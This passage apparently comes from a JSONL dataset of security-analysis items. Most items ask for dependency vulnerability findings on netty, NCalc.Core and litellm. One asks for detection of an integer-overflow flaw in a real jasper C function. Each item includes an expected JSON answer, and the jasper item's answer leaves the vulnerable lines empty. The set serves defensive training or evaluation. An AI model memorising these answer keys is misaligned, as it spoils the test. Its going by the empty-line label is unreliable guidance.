true,\n \"advisory_id\": \"GHSA-hpcc-26xq-25fv\",\n \"cve\": \"CVE-2026-56816\",\n \"aliases\": [\n \"CVE-2026-56816\"\n ],\n \"cwe\": \"CWE-400\",\n \"ecosystem\": \"Maven\",\n \"package\": \"io.netty:netty-codec-http3\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <4.2.16.Final\",\n \"fixed_version\": \"4.2.16.Final\",\n \"finding\": \"Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types\",\n \"remediation\": \"Upgrade io.netty:netty-codec-http3 to 4.2.16.Final or later.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-190", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: NCalc.Core\nInstalled version: <6.1.1\nSummary: NCalc: Denial of Service via Unbounded and Non-Terminating Factorial Evaluation", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-3w5p-95mh-gq75\",\n \"cve\": \"CVE-2026-55254\",\n \"aliases\": [\n \"CVE-2026-55254\"\n ],\n \"cwe\": \"CWE-190\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"NCalc.Core\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <6.1.1\",\n \"fixed_version\": \"6.1.1\",\n \"finding\": \"NCalc: Denial of Service via Unbounded and Non-Terminating Factorial Evaluation\",\n \"remediation\": \"Upgrade NCalc.Core to 6.1.1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-190", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " int jas_stream_pad(jas_stream_t *stream, int n, int c)\n {\n \tint m;\n \tm = n;\n \tfor (m = n; m > 0; --m) {\n \t\tif (jas_stream_putc(stream, c) == EOF)\n\t\t\treturn n - m;\n\t}\n\treturn n;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-190\",\n \"cwe_name\": \"Integer Overflow\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-9262\",\n \"project\": \"jasper\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": "CWE-73", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: litellm\nInstalled version: <1.83.10\nSummary: LiteLLM: Local file read via request-supplied OIDC file references", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-4g5m-c9r5-49xf\",\n \"cve\": \"CVE-2026-59819\",\n \"aliases\": [\n \"CVE-2026-59819\",\n \"PYSEC-2026-3476\"\n ],\n \"cwe\": \"CWE-73\",\n \"ecosystem\": \"PyPI\",\n \"package\": \"litellm\",\n \"severity\": \"low\",\n \"affected_versions\": \">=0, <1.83.10\",\n \"fixed_version\": \"1.83.10\",\n \"finding\": \"LiteLLM: Local file read via request-supplied OIDC file references\",\n \"remediation\": \"Upgrade litellm to 1.83.10 or later.\"\n}"}